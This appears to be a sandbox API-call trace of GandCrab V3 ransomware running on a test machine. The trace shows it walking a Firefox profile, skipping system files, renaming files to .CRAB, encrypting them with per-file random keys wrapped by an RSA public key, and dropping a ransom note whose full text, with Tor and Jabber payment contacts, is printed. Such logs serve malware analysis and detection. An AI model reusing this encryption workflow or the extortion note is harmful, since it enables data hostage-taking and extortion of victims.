	[0122.678] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\prefs.js.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\prefs.js.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\prefs.js.CRAB.CRAB"
	[0122.678] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e9e0) returned 1
	[0122.679] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0122.679] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0122.679] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0122.679] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0122.679] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0122.679] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.680] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e408) returned 1
	[0122.680] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0122.680] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0122.681] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0122.681] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0122.681] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0122.681] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.681] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0122.681] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0122.681] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e5a0) returned 1
	[0122.682] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x3165098) returned 1
	[0122.682] CryptGetKeyParam (in: hKey=0x3165098, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0122.682] CryptEncrypt (in: hKey=0x3165098, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0122.682] GetLastError () returned 0x0
	[0122.682] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0122.682] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e408) returned 1
	[0122.683] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x3165218) returned 1
	[0122.683] CryptGetKeyParam (in: hKey=0x3165218, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0122.683] CryptEncrypt (in: hKey=0x3165218, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0122.683] GetLastError () returned 0x0
	[0122.683] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0122.683] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\prefs.js.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\prefs.js.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0122.683] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0122.684] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0122.684] ReadFile (in: hFile=0x3e0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3149f24*=0x2cc9, lpOverlapped=0x0) returned 1
	[0122.705] VirtualAlloc (lpAddress=0x0, dwSize=0x2cd0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0122.705] VirtualAlloc (lpAddress=0x0, dwSize=0x2cd0, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0122.706] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.706] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xffffd337, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.706] WriteFile (in: hFile=0x3e0, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x2cd0, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3149f14*=0x2cd0, lpOverlapped=0x0) returned 1
	[0122.706] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.707] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.710] WriteFile (in: hFile=0x3e0, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0122.710] WriteFile (in: hFile=0x3e0, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0122.710] WriteFile (in: hFile=0x3e0, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0122.711] CloseHandle (hObject=0x3e0) returned 1
	[0122.711] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.711] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.711] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.711] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.711] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.712] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.712] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0122.712] lstrcmpW (lpString1="revocations.txt", lpString2=".") returned 1
	[0122.712] lstrcmpW (lpString1="revocations.txt", lpString2="..") returned 1
	[0122.712] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="revocations.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\revocations.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\revocations.txt"
	[0122.712] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0122.712] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\revocations.txt") returned 95
	[0122.712] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\revocations.txt") returned 95
	[0122.712] lstrlenW (lpString=".txt") returned 4
	[0122.712] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0122.713] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0122.713] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.713] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\revocations.txt") returned 95
	[0122.713] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\revocations.txt") returned 95
	[0122.713] lstrcmpiW (lpString1="revocations.txt", lpString2="desktop.ini") returned 1
	[0122.713] lstrcmpiW (lpString1="revocations.txt", lpString2="autorun.inf") returned 1
	[0122.713] lstrcmpiW (lpString1="revocations.txt", lpString2="ntuser.dat") returned 1
	[0122.713] lstrcmpiW (lpString1="revocations.txt", lpString2="iconcache.db") returned 1
	[0122.713] lstrcmpiW (lpString1="revocations.txt", lpString2="bootsect.bak") returned 1
	[0122.713] lstrcmpiW (lpString1="revocations.txt", lpString2="boot.ini") returned 1
	[0122.713] lstrcmpiW (lpString1="revocations.txt", lpString2="ntuser.dat.log") returned 1
	[0122.713] lstrcmpiW (lpString1="revocations.txt", lpString2="thumbs.db") returned -1
	[0122.713] lstrcmpiW (lpString1="revocations.txt", lpString2="CRAB-DECRYPT.txt") returned 1
	[0122.713] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0122.713] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\revocations.txt.CRAB") returned 100
	[0122.714] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\revocations.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\revocations.txt")) returned 0x20
	[0122.714] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\revocations.txt", dwFileAttributes=0x20) returned 1
	[0122.714] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\revocations.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\revocations.txt"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\revocations.txt.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\revocations.txt.crab")) returned 1
	[0122.715] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0122.715] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\revocations.txt.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\revocations.txt.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\revocations.txt.CRAB"
	[0122.715] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\revocations.txt.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\revocations.txt.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\revocations.txt.CRAB.CRAB"
	[0122.715] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e408) returned 1
	[0122.715] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0122.716] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0122.716] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0122.716] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0122.716] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0122.716] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.716] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e408) returned 1
	[0122.717] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0122.717] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0122.717] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0122.717] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0122.717] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0122.717] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.717] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0122.718] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0122.718] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e9e0) returned 1
	[0122.718] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x3165698) returned 1
	[0122.718] CryptGetKeyParam (in: hKey=0x3165698, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0122.718] CryptEncrypt (in: hKey=0x3165698, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0122.719] GetLastError () returned 0x0
	[0122.719] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0122.719] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e9e0) returned 1
	[0122.719] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x3165498) returned 1
	[0122.719] CryptGetKeyParam (in: hKey=0x3165498, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0122.719] CryptEncrypt (in: hKey=0x3165498, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0122.720] GetLastError () returned 0x0
	[0122.720] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0122.720] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\revocations.txt.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\revocations.txt.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0122.720] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0122.720] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0122.721] ReadFile (in: hFile=0x3e0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3149f24*=0x53a6, lpOverlapped=0x0) returned 1
	[0122.767] VirtualAlloc (lpAddress=0x0, dwSize=0x53b0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0122.768] VirtualAlloc (lpAddress=0x0, dwSize=0x53b0, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0122.769] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.769] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xffffac5a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.769] WriteFile (in: hFile=0x3e0, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x53b0, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3149f14*=0x53b0, lpOverlapped=0x0) returned 1
	[0122.770] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.770] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.773] WriteFile (in: hFile=0x3e0, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0122.774] WriteFile (in: hFile=0x3e0, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0122.774] WriteFile (in: hFile=0x3e0, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0122.774] CloseHandle (hObject=0x3e0) returned 1
	[0122.774] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.774] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.774] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.774] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.775] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.775] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.775] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0122.783] lstrcmpW (lpString1="saved-telemetry-pings", lpString2=".") returned 1
	[0122.783] lstrcmpW (lpString1="saved-telemetry-pings", lpString2="..") returned 1
	[0122.783] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="saved-telemetry-pings" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings"
	[0122.783] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\"
	[0122.783] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0122.783] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0122.783] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0122.783] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0122.783] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0122.784] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.784] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x31494c8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0122.784] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0122.784] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0122.784] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3148cb0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0122.784] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0122.784] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0122.784] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0122.784] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\\\CRAB-DECRYPT.txt") returned 119
	[0122.784] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\saved-telemetry-pings\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0122.786] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0122.786] WriteFile (in: hFile=0x3e0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x31494ac, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x31494ac*=0xcce, lpOverlapped=0x0) returned 1
	[0122.787] CloseHandle (hObject=0x3e0) returned 1
	[0122.787] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.787] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\") returned 102
	[0122.787] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\*"
	[0122.788] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\*", lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 0x31650d8
	[0122.788] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0122.788] FindNextFileW (in: hFindFile=0x31650d8, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
